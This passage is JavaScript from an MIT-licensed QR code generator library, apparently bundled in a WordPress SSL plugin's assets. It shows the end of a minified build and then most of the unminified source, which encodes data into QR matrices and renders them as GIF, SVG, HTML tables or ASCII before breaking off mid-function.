RS_BLOCK_TABLE=[[1,26,19],[1,26,16],[1,26,13],[1,26,9],[1,44,34],[1,44,28],[1,44,22],[1,44,16],[1,70,55],[1,70,44],[2,35,17],[2,35,13],[1,100,80],[2,50,32],[2,50,24],[4,25,9],[1,134,108],[2,67,43],[2,33,15,2,34,16],[2,33,11,2,34,12],[2,86,68],[4,43,27],[4,43,19],[4,43,15],[2,98,78],[4,49,31],[2,32,14,4,33,15],[4,39,13,1,40,14],[2,121,97],[2,60,38,2,61,39],[4,40,18,2,41,19],[4,40,14,2,41,15],[2,146,116],[3,58,36,2,59,37],[4,36,16,4,37,17],[4,36,12,4,37,13],[2,86,68,2,87,69],[4,69,43,1,70,44],[6,43,19,2,44,20],[6,43,15,2,44,16],[4,101,81],[1,80,50,4,81,51],[4,50,22,4,51,23],[3,36,12,8,37,13],[2,116,92,2,117,93],[6,58,36,2,59,37],[4,46,20,6,47,21],[7,42,14,4,43,15],[4,133,107],[8,59,37,1,60,38],[8,44,20,4,45,21],[12,33,11,4,34,12],[3,145,115,1,146,116],[4,64,40,5,65,41],[11,36,16,5,37,17],[11,36,12,5,37,13],[5,109,87,1,110,88],[5,65,41,5,66,42],[5,54,24,7,55,25],[11,36,12,7,37,13],[5,122,98,1,123,99],[7,73,45,3,74,46],[15,43,19,2,44,20],[3,45,15,13,46,16],[1,135,107,5,136,108],[10,74,46,1,75,47],[1,50,22,15,51,23],[2,42,14,17,43,15],[5,150,120,1,151,121],[9,69,43,4,70,44],[17,50,22,1,51,23],[2,42,14,19,43,15],[3,141,113,4,142,114],[3,70,44,11,71,45],[17,47,21,4,48,22],[9,39,13,16,40,14],[3,135,107,5,136,108],[3,67,41,13,68,42],[15,54,24,5,55,25],[15,43,15,10,44,16],[4,144,116,4,145,117],[17,68,42],[17,50,22,6,51,23],[19,46,16,6,47,17],[2,139,111,7,140,112],[17,74,46],[7,54,24,16,55,25],[34,37,13],[4,151,121,5,152,122],[4,75,47,14,76,48],[11,54,24,14,55,25],[16,45,15,14,46,16],[6,147,117,4,148,118],[6,73,45,14,74,46],[11,54,24,16,55,25],[30,46,16,2,47,17],[8,132,106,4,133,107],[8,75,47,13,76,48],[7,54,24,22,55,25],[22,45,15,13,46,16],[10,142,114,2,143,115],[19,74,46,4,75,47],[28,50,22,6,51,23],[33,46,16,4,47,17],[8,152,122,4,153,123],[22,73,45,3,74,46],[8,53,23,26,54,24],[12,45,15,28,46,16],[3,147,117,10,148,118],[3,73,45,23,74,46],[4,54,24,31,55,25],[11,45,15,31,46,16],[7,146,116,7,147,117],[21,73,45,7,74,46],[1,53,23,37,54,24],[19,45,15,26,46,16],[5,145,115,10,146,116],[19,75,47,10,76,48],[15,54,24,25,55,25],[23,45,15,25,46,16],[13,145,115,3,146,116],[2,74,46,29,75,47],[42,54,24,1,55,25],[23,45,15,28,46,16],[17,145,115],[10,74,46,23,75,47],[10,54,24,35,55,25],[19,45,15,35,46,16],[17,145,115,1,146,116],[14,74,46,21,75,47],[29,54,24,19,55,25],[11,45,15,46,46,16],[13,145,115,6,146,116],[14,74,46,23,75,47],[44,54,24,7,55,25],[59,46,16,1,47,17],[12,151,121,7,152,122],[12,75,47,26,76,48],[39,54,24,14,55,25],[22,45,15,41,46,16],[6,151,121,14,152,122],[6,75,47,34,76,48],[46,54,24,10,55,25],[2,45,15,64,46,16],[17,152,122,4,153,123],[29,74,46,14,75,47],[49,54,24,10,55,25],[24,45,15,46,46,16],[4,152,122,18,153,123],[13,74,46,32,75,47],[48,54,24,14,55,25],[42,45,15,32,46,16],[20,147,117,4,148,118],[40,75,47,7,76,48],[43,54,24,22,55,25],[10,45,15,67,46,16],[19,148,118,6,149,119],[18,75,47,31,76,48],[34,54,24,34,55,25],[20,45,15,61,46,16]];var qrRSBlock=function(totalCount,dataCount){var _this={};_this.totalCount=totalCount;_this.dataCount=dataCount;return _this};var _this={};var getRsBlockTable=function(typeNumber,errorCorrectionLevel){switch(errorCorrectionLevel){case QRErrorCorrectionLevel.L:return RS_BLOCK_TABLE[(typeNumber-1)*4+0];case QRErrorCorrectionLevel.M:return RS_BLOCK_TABLE[(typeNumber-1)*4+1];case QRErrorCorrectionLevel.Q:return RS_BLOCK_TABLE[(typeNumber-1)*4+2];case QRErrorCorrectionLevel.H:return RS_BLOCK_TABLE[(typeNumber-1)*4+3];default:return undefined}};_this.getRSBlocks=function(typeNumber,errorCorrectionLevel){var rsBlock=getRsBlockTable(typeNumber,errorCorrectionLevel);if(typeof rsBlock=="undefined"){throw"bad rs block @ typeNumber:"+typeNumber+"/errorCorrectionLevel:"+errorCorrectionLevel}var length=rsBlock.length/3;var list=[];for(var i=0;i<length;i+=1){var count=rsBlock[i*3+0];var totalCount=rsBlock[i*3+1];var dataCount=rsBlock[i*3+2];for(var j=0;j<count;j+=1){list.push(qrRSBlock(totalCount,dataCount))}}return list};return _this}();var qrBitBuffer=function(){var _buffer=[];var _length=0;var _this={};_this.getBuffer=function(){return _buffer};_this.getAt=function(index){var bufIndex=Math.floor(index/8);return(_buffer[bufIndex]>>>7-index%8&1)==1};_this.put=function(num,length){for(var i=0;i<length;i+=1){_this.putBit((num>>>length-i-1&1)==1)}};_this.getLengthInBits=function(){return _length};_this.putBit=function(bit){var bufIndex=Math.floor(_length/8);if(_buffer.length<=bufIndex){_buffer.push(0)}if(bit){_buffer[bufIndex]|=128>>>_length%8}_length+=1};return _this};var qrNumber=function(data){var _mode=QRMode.MODE_NUMBER;var _data=data;var _this={};_this.getMode=function(){return _mode};_this.getLength=function(buffer){return _data.length};_this.write=function(buffer){var data=_data;var i=0;while(i+2<data.length){buffer.put(strToNum(data.substring(i,i+3)),10);i+=3}if(i<data.length){if(data.length-i==1){buffer.put(strToNum(data.substring(i,i+1)),4)}else if(data.length-i==2){buffer.put(strToNum(data.substring(i,i+2)),7)}}};var strToNum=function(s){var num=0;for(var i=0;i<s.length;i+=1){num=num*10+chatToNum(s.charAt(i))}return num};var chatToNum=function(c){if("0"<=c&&c<="9"){return c.charCodeAt(0)-"0".charCodeAt(0)}throw"illegal char :"+c};return _this};var qrAlphaNum=function(data){var _mode=QRMode.MODE_ALPHA_NUM;var _data=data;var _this={};_this.getMode=function(){return _mode};_this.getLength=function(buffer){return _data.length};_this.write=function(buffer){var s=_data;var i=0;while(i+1<s.length){buffer.put(getCode(s.charAt(i))*45+getCode(s.charAt(i+1)),11);i+=2}if(i<s.length){buffer.put(getCode(s.charAt(i)),6)}};var getCode=function(c){if("0"<=c&&c<="9"){return c.charCodeAt(0)-"0".charCodeAt(0)}else if("A"<=c&&c<="Z"){return c.charCodeAt(0)-"A".charCodeAt(0)+10}else{switch(c){case" ":return 36;case"$":return 37;case"%":return 38;case"*":return 39;case"+":return 40;case"-":return 41;case".":return 42;case"/":return 43;case":":return 44;default:throw"illegal char :"+c}}};return _this};var qr8BitByte=function(data){var _mode=QRMode.MODE_8BIT_BYTE;var _data=data;var _bytes=qrcode.stringToBytes(data);var _this={};_this.getMode=function(){return _mode};_this.getLength=function(buffer){return _bytes.length};_this.write=function(buffer){for(var i=0;i<_bytes.length;i+=1){buffer.put(_bytes[i],8)}};return _this};var qrKanji=function(data){var _mode=QRMode.MODE_KANJI;var _data=data;var stringToBytes=qrcode.stringToBytesFuncs["SJIS"];if(!stringToBytes){throw"sjis not supported."}!function(c,code){var test=stringToBytes(c);if(test.length!=2||(test[0]<<8|test[1])!=code){throw"sjis not supported."}}("友",38726);var _bytes=stringToBytes(data);var _this={};_this.getMode=function(){return _mode};_this.getLength=function(buffer){return~~(_bytes.length/2)};_this.write=function(buffer){var data=_bytes;var i=0;while(i+1<data.length){var c=(255&data[i])<<8|255&data[i+1];if(33088<=c&&c<=40956){c-=33088}else if(57408<=c&&c<=60351){c-=49472}else{throw"illegal char at "+(i+1)+"/"+c}c=(c>>>8&255)*192+(c&255);buffer.put(c,13);i+=2}if(i<data.length){throw"illegal char at "+(i+1)}};return _this};var byteArrayOutputStream=function(){var _bytes=[];var _this={};_this.writeByte=function(b){_bytes.push(b&255)};_this.writeShort=function(i){_this.writeByte(i);_this.writeByte(i>>>8)};_this.writeBytes=function(b,off,len){off=off||0;len=len||b.length;for(var i=0;i<len;i+=1){_this.writeByte(b[i+off])}};_this.writeString=function(s){for(var i=0;i<s.length;i+=1){_this.writeByte(s.charCodeAt(i))}};_this.toByteArray=function(){return _bytes};_this.toString=function(){var s="";s+="[";for(var i=0;i<_bytes.length;i+=1){if(i>0){s+=","}s+=_bytes[i]}s+="]";return s};return _this};var base64EncodeOutputStream=function(){var _buffer=0;var _buflen=0;var _length=0;var _base64="";var _this={};var writeEncoded=function(b){_base64+=String.fromCharCode(encode(b&63))};var encode=function(n){if(n<0){}else if(n<26){return 65+n}else if(n<52){return 97+(n-26)}else if(n<62){return 48+(n-52)}else if(n==62){return 43}else if(n==63){return 47}throw"n:"+n};_this.writeByte=function(n){_buffer=_buffer<<8|n&255;_buflen+=8;_length+=1;while(_buflen>=6){writeEncoded(_buffer>>>_buflen-6);_buflen-=6}};_this.flush=function(){if(_buflen>0){writeEncoded(_buffer<<6-_buflen);_buffer=0;_buflen=0}if(_length%3!=0){var padlen=3-_length%3;for(var i=0;i<padlen;i+=1){_base64+="="}}};_this.toString=function(){return _base64};return _this};var base64DecodeInputStream=function(str){var _str=str;var _pos=0;var _buffer=0;var _buflen=0;var _this={};_this.read=function(){while(_buflen<8){if(_pos>=_str.length){if(_buflen==0){return-1}throw"unexpected end of file./"+_buflen}var c=_str.charAt(_pos);_pos+=1;if(c=="="){_buflen=0;return-1}else if(c.match(/^\s$/)){continue}_buffer=_buffer<<6|decode(c.charCodeAt(0));_buflen+=6}var n=_buffer>>>_buflen-8&255;_buflen-=8;return n};var decode=function(c){if(65<=c&&c<=90){return c-65}else if(97<=c&&c<=122){return c-97+26}else if(48<=c&&c<=57){return c-48+52}else if(c==43){return 62}else if(c==47){return 63}else{throw"c:"+c}};return _this};var gifImage=function(width,height){var _width=width;var _height=height;var _data=new Array(width*height);var _this={};_this.setPixel=function(x,y,pixel){_data[y*_width+x]=pixel};_this.write=function(out){out.writeString("GIF87a");out.writeShort(_width);out.writeShort(_height);out.writeByte(128);out.writeByte(0);out.writeByte(0);out.writeByte(0);out.writeByte(0);out.writeByte(0);out.writeByte(255);out.writeByte(255);out.writeByte(255);out.writeString(",");out.writeShort(0);out.writeShort(0);out.writeShort(_width);out.writeShort(_height);out.writeByte(0);var lzwMinCodeSize=2;var raster=getLZWRaster(lzwMinCodeSize);out.writeByte(lzwMinCodeSize);var offset=0;while(raster.length-offset>255){out.writeByte(255);out.writeBytes(raster,offset,255);offset+=255}out.writeByte(raster.length-offset);out.writeBytes(raster,offset,raster.length-offset);out.writeByte(0);out.writeString(";")};var bitOutputStream=function(out){var _out=out;var _bitLength=0;var _bitBuffer=0;var _this={};_this.write=function(data,length){if(data>>>length!=0){throw"length over"}while(_bitLength+length>=8){_out.writeByte(255&(data<<_bitLength|_bitBuffer));length-=8-_bitLength;data>>>=8-_bitLength;_bitBuffer=0;_bitLength=0}_bitBuffer=data<<_bitLength|_bitBuffer;_bitLength=_bitLength+length};_this.flush=function(){if(_bitLength>0){_out.writeByte(_bitBuffer)}};return _this};var getLZWRaster=function(lzwMinCodeSize){var clearCode=1<<lzwMinCodeSize;var endCode=(1<<lzwMinCodeSize)+1;var bitLength=lzwMinCodeSize+1;var table=lzwTable();for(var i=0;i<clearCode;i+=1){table.add(String.fromCharCode(i))}table.add(String.fromCharCode(clearCode));table.add(String.fromCharCode(endCode));var byteOut=byteArrayOutputStream();var bitOut=bitOutputStream(byteOut);bitOut.write(clearCode,bitLength);var dataIndex=0;var s=String.fromCharCode(_data[dataIndex]);dataIndex+=1;while(dataIndex<_data.length){var c=String.fromCharCode(_data[dataIndex]);dataIndex+=1;if(table.contains(s+c)){s=s+c}else{bitOut.write(table.indexOf(s),bitLength);if(table.size()<4095){if(table.size()==1<<bitLength){bitLength+=1}table.add(s+c)}s=c}}bitOut.write(table.indexOf(s),bitLength);bitOut.write(endCode,bitLength);bitOut.flush();return byteOut.toByteArray()};var lzwTable=function(){var _map={};var _size=0;var _this={};_this.add=function(key){if(_this.contains(key)){throw"dup key:"+key}_map[key]=_size;_size+=1};_this.size=function(){return _size};_this.indexOf=function(key){return _map[key]};_this.contains=function(key){return typeof _map[key]!="undefined"};return _this};return _this};var createDataURL=function(width,height,getPixel){var gif=gifImage(width,height);for(var y=0;y<height;y+=1){for(var x=0;x<width;x+=1){gif.setPixel(x,y,getPixel(x,y))}}var b=byteArrayOutputStream();gif.write(b);var base64=base64EncodeOutputStream();var bytes=b.toByteArray();for(var i=0;i<bytes.length;i+=1){base64.writeByte(bytes[i])}base64.flush();return"data:image/gif;base64,"+base64};return qrcode}();!function(){qrcode.stringToBytesFuncs["UTF-8"]=function(s){function toUTF8Array(str){var utf8=[];for(var i=0;i<str.length;i++){var charcode=str.charCodeAt(i);if(charcode<128)utf8.push(charcode);else if(charcode<2048){utf8.push(192|charcode>>6,128|charcode&63)}else if(charcode<55296||charcode>=57344){utf8.push(224|charcode>>12,128|charcode>>6&63,128|charcode&63)}else{i++;charcode=65536+((charcode&1023)<<10|str.charCodeAt(i)&1023);utf8.push(240|charcode>>18,128|charcode>>12&63,128|charcode>>6&63,128|charcode&63)}}return utf8}return toUTF8Array(s)}}();(function(factory){if(typeof define==="function"&&define.amd){define([],factory)}else if(typeof exports==="object"){module.exports=factory()}})(function(){return qrcode});really-simple-ssl/assets/js/qrcode.js000064400000156565147510273070013703 0ustar00//---------------------------------------------------------------------
//
// QR Code Generator for JavaScript
//
// Copyright (c) 2009 Kazuhiko Arase
//
// URL: http://www.d-project.com/
//
// Licensed under the MIT license:
//  http://www.opensource.org/licenses/mit-license.php
//
// The word 'QR Code' is registered trademark of
// DENSO WAVE INCORPORATED
//  http://www.denso-wave.com/qrcode/faqpatent-e.html
//
//---------------------------------------------------------------------
var qrcode = function() {

  //---------------------------------------------------------------------
  // qrcode
  //---------------------------------------------------------------------

  /**
   * qrcode
   * @param typeNumber 1 to 40
   * @param errorCorrectionLevel 'L','M','Q','H'
   */
  var qrcode = function(typeNumber, errorCorrectionLevel) {

    var PAD0 = 0xEC;
    var PAD1 = 0x11;

    var _typeNumber = typeNumber;
    var _errorCorrectionLevel = QRErrorCorrectionLevel[errorCorrectionLevel];
    var _modules = null;
    var _moduleCount = 0;
    var _dataCache = null;
    var _dataList = [];

    var _this = {};

    var makeImpl = function(test, maskPattern) {

      _moduleCount = _typeNumber * 4 + 17;
      _modules = function(moduleCount) {
        var modules = new Array(moduleCount);
        for (var row = 0; row < moduleCount; row += 1) {
          modules[row] = new Array(moduleCount);
          for (var col = 0; col < moduleCount; col += 1) {
            modules[row][col] = null;
          }
        }
        return modules;
      }(_moduleCount);

      setupPositionProbePattern(0, 0);
      setupPositionProbePattern(_moduleCount - 7, 0);
      setupPositionProbePattern(0, _moduleCount - 7);
      setupPositionAdjustPattern();
      setupTimingPattern();
      setupTypeInfo(test, maskPattern);

      if (_typeNumber >= 7) {
        setupTypeNumber(test);
      }

      if (_dataCache == null) {
        _dataCache = createData(_typeNumber, _errorCorrectionLevel, _dataList);
      }

      mapData(_dataCache, maskPattern);
    };

    var setupPositionProbePattern = function(row, col) {

      for (var r = -1; r <= 7; r += 1) {

        if (row + r <= -1 || _moduleCount <= row + r) continue;

        for (var c = -1; c <= 7; c += 1) {

          if (col + c <= -1 || _moduleCount <= col + c) continue;

          if ( (0 <= r && r <= 6 && (c == 0 || c == 6) )
              || (0 <= c && c <= 6 && (r == 0 || r == 6) )
              || (2 <= r && r <= 4 && 2 <= c && c <= 4) ) {
            _modules[row + r][col + c] = true;
          } else {
            _modules[row + r][col + c] = false;
          }
        }
      }
    };

    var getBestMaskPattern = function() {

      var minLostPoint = 0;
      var pattern = 0;

      for (var i = 0; i < 8; i += 1) {

        makeImpl(true, i);

        var lostPoint = QRUtil.getLostPoint(_this);

        if (i == 0 || minLostPoint > lostPoint) {
          minLostPoint = lostPoint;
          pattern = i;
        }
      }

      return pattern;
    };

    var setupTimingPattern = function() {

      for (var r = 8; r < _moduleCount - 8; r += 1) {
        if (_modules[r][6] != null) {
          continue;
        }
        _modules[r][6] = (r % 2 == 0);
      }

      for (var c = 8; c < _moduleCount - 8; c += 1) {
        if (_modules[6][c] != null) {
          continue;
        }
        _modules[6][c] = (c % 2 == 0);
      }
    };

    var setupPositionAdjustPattern = function() {

      var pos = QRUtil.getPatternPosition(_typeNumber);

      for (var i = 0; i < pos.length; i += 1) {

        for (var j = 0; j < pos.length; j += 1) {

          var row = pos[i];
          var col = pos[j];

          if (_modules[row][col] != null) {
            continue;
          }

          for (var r = -2; r <= 2; r += 1) {

            for (var c = -2; c <= 2; c += 1) {

              if (r == -2 || r == 2 || c == -2 || c == 2
                  || (r == 0 && c == 0) ) {
                _modules[row + r][col + c] = true;
              } else {
                _modules[row + r][col + c] = false;
              }
            }
          }
        }
      }
    };

    var setupTypeNumber = function(test) {

      var bits = QRUtil.getBCHTypeNumber(_typeNumber);

      for (var i = 0; i < 18; i += 1) {
        var mod = (!test && ( (bits >> i) & 1) == 1);
        _modules[Math.floor(i / 3)][i % 3 + _moduleCount - 8 - 3] = mod;
      }

      for (var i = 0; i < 18; i += 1) {
        var mod = (!test && ( (bits >> i) & 1) == 1);
        _modules[i % 3 + _moduleCount - 8 - 3][Math.floor(i / 3)] = mod;
      }
    };

    var setupTypeInfo = function(test, maskPattern) {

      var data = (_errorCorrectionLevel << 3) | maskPattern;
      var bits = QRUtil.getBCHTypeInfo(data);

      // vertical
      for (var i = 0; i < 15; i += 1) {

        var mod = (!test && ( (bits >> i) & 1) == 1);

        if (i < 6) {
          _modules[i][8] = mod;
        } else if (i < 8) {
          _modules[i + 1][8] = mod;
        } else {
          _modules[_moduleCount - 15 + i][8] = mod;
        }
      }

      // horizontal
      for (var i = 0; i < 15; i += 1) {

        var mod = (!test && ( (bits >> i) & 1) == 1);

        if (i < 8) {
          _modules[8][_moduleCount - i - 1] = mod;
        } else if (i < 9) {
          _modules[8][15 - i - 1 + 1] = mod;
        } else {
          _modules[8][15 - i - 1] = mod;
        }
      }

      // fixed module
      _modules[_moduleCount - 8][8] = (!test);
    };

    var mapData = function(data, maskPattern) {

      var inc = -1;
      var row = _moduleCount - 1;
      var bitIndex = 7;
      var byteIndex = 0;
      var maskFunc = QRUtil.getMaskFunction(maskPattern);

      for (var col = _moduleCount - 1; col > 0; col -= 2) {

        if (col == 6) col -= 1;

        while (true) {

          for (var c = 0; c < 2; c += 1) {

            if (_modules[row][col - c] == null) {

              var dark = false;

              if (byteIndex < data.length) {
                dark = ( ( (data[byteIndex] >>> bitIndex) & 1) == 1);
              }

              var mask = maskFunc(row, col - c);

              if (mask) {
                dark = !dark;
              }

              _modules[row][col - c] = dark;
              bitIndex -= 1;

              if (bitIndex == -1) {
                byteIndex += 1;
                bitIndex = 7;
              }
            }
          }

          row += inc;

          if (row < 0 || _moduleCount <= row) {
            row -= inc;
            inc = -inc;
            break;
          }
        }
      }
    };

    var createBytes = function(buffer, rsBlocks) {

      var offset = 0;

      var maxDcCount = 0;
      var maxEcCount = 0;

      var dcdata = new Array(rsBlocks.length);
      var ecdata = new Array(rsBlocks.length);

      for (var r = 0; r < rsBlocks.length; r += 1) {

        var dcCount = rsBlocks[r].dataCount;
        var ecCount = rsBlocks[r].totalCount - dcCount;

        maxDcCount = Math.max(maxDcCount, dcCount);
        maxEcCount = Math.max(maxEcCount, ecCount);

        dcdata[r] = new Array(dcCount);

        for (var i = 0; i < dcdata[r].length; i += 1) {
          dcdata[r][i] = 0xff & buffer.getBuffer()[i + offset];
        }
        offset += dcCount;

        var rsPoly = QRUtil.getErrorCorrectPolynomial(ecCount);
        var rawPoly = qrPolynomial(dcdata[r], rsPoly.getLength() - 1);

        var modPoly = rawPoly.mod(rsPoly);
        ecdata[r] = new Array(rsPoly.getLength() - 1);
        for (var i = 0; i < ecdata[r].length; i += 1) {
          var modIndex = i + modPoly.getLength() - ecdata[r].length;
          ecdata[r][i] = (modIndex >= 0)? modPoly.getAt(modIndex) : 0;
        }
      }

      var totalCodeCount = 0;
      for (var i = 0; i < rsBlocks.length; i += 1) {
        totalCodeCount += rsBlocks[i].totalCount;
      }

      var data = new Array(totalCodeCount);
      var index = 0;

      for (var i = 0; i < maxDcCount; i += 1) {
        for (var r = 0; r < rsBlocks.length; r += 1) {
          if (i < dcdata[r].length) {
            data[index] = dcdata[r][i];
            index += 1;
          }
        }
      }

      for (var i = 0; i < maxEcCount; i += 1) {
        for (var r = 0; r < rsBlocks.length; r += 1) {
          if (i < ecdata[r].length) {
            data[index] = ecdata[r][i];
            index += 1;
          }
        }
      }

      return data;
    };

    var createData = function(typeNumber, errorCorrectionLevel, dataList) {

      var rsBlocks = QRRSBlock.getRSBlocks(typeNumber, errorCorrectionLevel);

      var buffer = qrBitBuffer();

      for (var i = 0; i < dataList.length; i += 1) {
        var data = dataList[i];
        buffer.put(data.getMode(), 4);
        buffer.put(data.getLength(), QRUtil.getLengthInBits(data.getMode(), typeNumber) );
        data.write(buffer);
      }

      // calc num max data.
      var totalDataCount = 0;
      for (var i = 0; i < rsBlocks.length; i += 1) {
        totalDataCount += rsBlocks[i].dataCount;
      }

      if (buffer.getLengthInBits() > totalDataCount * 8) {
        throw 'code length overflow. ('
          + buffer.getLengthInBits()
          + '>'
          + totalDataCount * 8
          + ')';
      }

      // end code
      if (buffer.getLengthInBits() + 4 <= totalDataCount * 8) {
        buffer.put(0, 4);
      }

      // padding
      while (buffer.getLengthInBits() % 8 != 0) {
        buffer.putBit(false);
      }

      // padding
      while (true) {

        if (buffer.getLengthInBits() >= totalDataCount * 8) {
          break;
        }
        buffer.put(PAD0, 8);

        if (buffer.getLengthInBits() >= totalDataCount * 8) {
          break;
        }
        buffer.put(PAD1, 8);
      }

      return createBytes(buffer, rsBlocks);
    };

    _this.addData = function(data, mode) {

      mode = mode || 'Byte';

      var newData = null;

      switch(mode) {
      case 'Numeric' :
        newData = qrNumber(data);
        break;
      case 'Alphanumeric' :
        newData = qrAlphaNum(data);
        break;
      case 'Byte' :
        newData = qr8BitByte(data);
        break;
      case 'Kanji' :
        newData = qrKanji(data);
        break;
      default :
        throw 'mode:' + mode;
      }

      _dataList.push(newData);
      _dataCache = null;
    };

    _this.isDark = function(row, col) {
      if (row < 0 || _moduleCount <= row || col < 0 || _moduleCount <= col) {
        throw row + ',' + col;
      }
      return _modules[row][col];
    };

    _this.getModuleCount = function() {
      return _moduleCount;
    };

    _this.make = function() {
      if (_typeNumber < 1) {
        var typeNumber = 1;

        for (; typeNumber < 40; typeNumber++) {
          var rsBlocks = QRRSBlock.getRSBlocks(typeNumber, _errorCorrectionLevel);
          var buffer = qrBitBuffer();

          for (var i = 0; i < _dataList.length; i++) {
            var data = _dataList[i];
            buffer.put(data.getMode(), 4);
            buffer.put(data.getLength(), QRUtil.getLengthInBits(data.getMode(), typeNumber) );
            data.write(buffer);
          }

          var totalDataCount = 0;
          for (var i = 0; i < rsBlocks.length; i++) {
            totalDataCount += rsBlocks[i].dataCount;
          }

          if (buffer.getLengthInBits() <= totalDataCount * 8) {
            break;
          }
        }

        _typeNumber = typeNumber;
      }

      makeImpl(false, getBestMaskPattern() );
    };

    _this.createTableTag = function(cellSize, margin) {

      cellSize = cellSize || 2;
      margin = (typeof margin == 'undefined')? cellSize * 4 : margin;

      var qrHtml = '';

      qrHtml += '<table style="';
      qrHtml += ' border-width: 0px; border-style: none;';
      qrHtml += ' border-collapse: collapse;';
      qrHtml += ' padding: 0px; margin: ' + margin + 'px;';
      qrHtml += '">';
      qrHtml += '<tbody>';

      for (var r = 0; r < _this.getModuleCount(); r += 1) {

        qrHtml += '<tr>';

        for (var c = 0; c < _this.getModuleCount(); c += 1) {
          qrHtml += '<td style="';
          qrHtml += ' border-width: 0px; border-style: none;';
          qrHtml += ' border-collapse: collapse;';
          qrHtml += ' padding: 0px; margin: 0px;';
          qrHtml += ' width: ' + cellSize + 'px;';
          qrHtml += ' height: ' + cellSize + 'px;';
          qrHtml += ' background-color: ';
          qrHtml += _this.isDark(r, c)? '#000000' : '#ffffff';
          qrHtml += ';';
          qrHtml += '"/>';
        }

        qrHtml += '</tr>';
      }

      qrHtml += '</tbody>';
      qrHtml += '</table>';

      return qrHtml;
    };

    _this.createSvgTag = function(cellSize, margin, alt, title) {

      var opts = {};
      if (typeof arguments[0] == 'object') {
        // Called by options.
        opts = arguments[0];
        // overwrite cellSize and margin.
        cellSize = opts.cellSize;
        margin = opts.margin;
        alt = opts.alt;
        title = opts.title;
      }

      cellSize = cellSize || 2;
      margin = (typeof margin == 'undefined')? cellSize * 4 : margin;

      // Compose alt property surrogate
      alt = (typeof alt === 'string') ? {text: alt} : alt || {};
      alt.text = alt.text || null;
      alt.id = (alt.text) ? alt.id || 'qrcode-description' : null;

      // Compose title property surrogate
      title = (typeof title === 'string') ? {text: title} : title || {};
      title.text = title.text || null;
      title.id = (title.text) ? title.id || 'qrcode-title' : null;

      var size = _this.getModuleCount() * cellSize + margin * 2;
      var c, mc, r, mr, qrSvg='', rect;

      rect = 'l' + cellSize + ',0 0,' + cellSize +
        ' -' + cellSize + ',0 0,-' + cellSize + 'z ';

      qrSvg += '<svg version="1.1" xmlns="http://www.w3.org/2000/svg"';
      qrSvg += !opts.scalable ? ' width="' + size + 'px" height="' + size + 'px"' : '';
      qrSvg += ' viewBox="0 0 ' + size + ' ' + size + '" ';
      qrSvg += ' preserveAspectRatio="xMinYMin meet"';
      qrSvg += (title.text || alt.text) ? ' role="img" aria-labelledby="' +
          escapeXml([title.id, alt.id].join(' ').trim() ) + '"' : '';
      qrSvg += '>';
      qrSvg += (title.text) ? '<title id="' + escapeXml(title.id) + '">' +
          escapeXml(title.text) + '</title>' : '';
      qrSvg += (alt.text) ? '<description id="' + escapeXml(alt.id) + '">' +
          escapeXml(alt.text) + '</description>' : '';
      qrSvg += '<rect width="100%" height="100%" fill="white" cx="0" cy="0"/>';
      qrSvg += '<path d="';

      for (r = 0; r < _this.getModuleCount(); r += 1) {
        mr = r * cellSize + margin;
        for (c = 0; c < _this.getModuleCount(); c += 1) {
          if (_this.isDark(r, c) ) {
            mc = c*cellSize+margin;
            qrSvg += 'M' + mc + ',' + mr + rect;
          }
        }
      }

      qrSvg += '" stroke="transparent" fill="black"/>';
      qrSvg += '</svg>';

      return qrSvg;
    };

    _this.createDataURL = function(cellSize, margin) {

      cellSize = cellSize || 2;
      margin = (typeof margin == 'undefined')? cellSize * 4 : margin;

      var size = _this.getModuleCount() * cellSize + margin * 2;
      var min = margin;
      var max = size - margin;

      return createDataURL(size, size, function(x, y) {
        if (min <= x && x < max && min <= y && y < max) {
          var c = Math.floor( (x - min) / cellSize);
          var r = Math.floor( (y - min) / cellSize);
          return _this.isDark(r, c)? 0 : 1;
        } else {
          return 1;
        }
      } );
    };

    _this.createImgTag = function(cellSize, margin, alt) {

      cellSize = cellSize || 2;
      margin = (typeof margin == 'undefined')? cellSize * 4 : margin;

      var size = _this.getModuleCount() * cellSize + margin * 2;

      var img = '';
      img += '<img';
      img += '\u0020src="';
      img += _this.createDataURL(cellSize, margin);
      img += '"';
      img += '\u0020width="';
      img += size;
      img += '"';
      img += '\u0020height="';
      img += size;
      img += '"';
      if (alt) {
        img += '\u0020alt="';
        img += escapeXml(alt);
        img += '"';
      }
      img += '/>';

      return img;
    };

    var escapeXml = function(s) {
      var escaped = '';
      for (var i = 0; i < s.length; i += 1) {
        var c = s.charAt(i);
        switch(c) {
        case '<': escaped += '&lt;'; break;
        case '>': escaped += '&gt;'; break;
        case '&': escaped += '&amp;'; break;
        case '"': escaped += '&quot;'; break;
        default : escaped += c; break;
        }
      }
      return escaped;
    };

    var _createHalfASCII = function(margin) {
      var cellSize = 1;
      margin = (typeof margin == 'undefined')? cellSize * 2 : margin;

      var size = _this.getModuleCount() * cellSize + margin * 2;
      var min = margin;
      var max = size - margin;

      var y, x, r1, r2, p;

      var blocks = {
        '██': '█',
        '█ ': '▀',
        ' █': '▄',
        '  ': ' '
      };

      var blocksLastLineNoMargin = {
        '██': '▀',
        '█ ': '▀',
        ' █': ' ',
        '  ': ' '
      };

      var ascii = '';
      for (y = 0; y < size; y += 2) {
        r1 = Math.floor((y - min) / cellSize);
        r2 = Math.floor((y + 1 - min) / cellSize);
        for (x = 0; x < size; x += 1) {
          p = '█';

          if (min <= x && x < max && min <= y && y < max && _this.isDark(r1, Math.floor((x - min) / cellSize))) {
            p = ' ';
          }

          if (min <= x && x < max && min <= y+1 && y+1 < max && _this.isDark(r2, Math.floor((x - min) / cellSize))) {
            p += ' ';
          }
          else {
            p += '█';
          }

          // Output 2 characters per pixel, to create full square. 1 character per pixels gives only half width of square.
          ascii += (margin < 1 && y+1 >= max) ? blocksLastLineNoMargin[p] : blocks[p];
        }

        ascii += '\n';
      }

      if (size % 2 && margin > 0) {
        return ascii.substring(0, ascii.length - size - 1) + Array(size+1).join('▀');
      }

      return ascii.substring(0, ascii.length-1);
    };

    _this.createASCII = function(cellSize, margin) {
      cellSize = cellSize || 1;

      if (cellSize < 2) {
        return _createHalfASCII(margin);
      }

      cellSize -= 1;
      margin = (typeof margin == 'undefined')? cellSize * 2 : margin;

      var size = _this.getModuleCount() * cellSize + margin * 2;
      var min = margin;
      var max = size - margin;

      var y, x, r, p;

      var white = Array(cellSize+1).join('██');
      var black = Array(cellSize+1).join('  ');

      var ascii = '';
      var line = '';
      for (y = 0; y < size; y += 1) {
        r = Math.floor( (y - min) / cellSize);
        line = '';
        for (x = 0; x < size; x += 1) {
          p = 1;

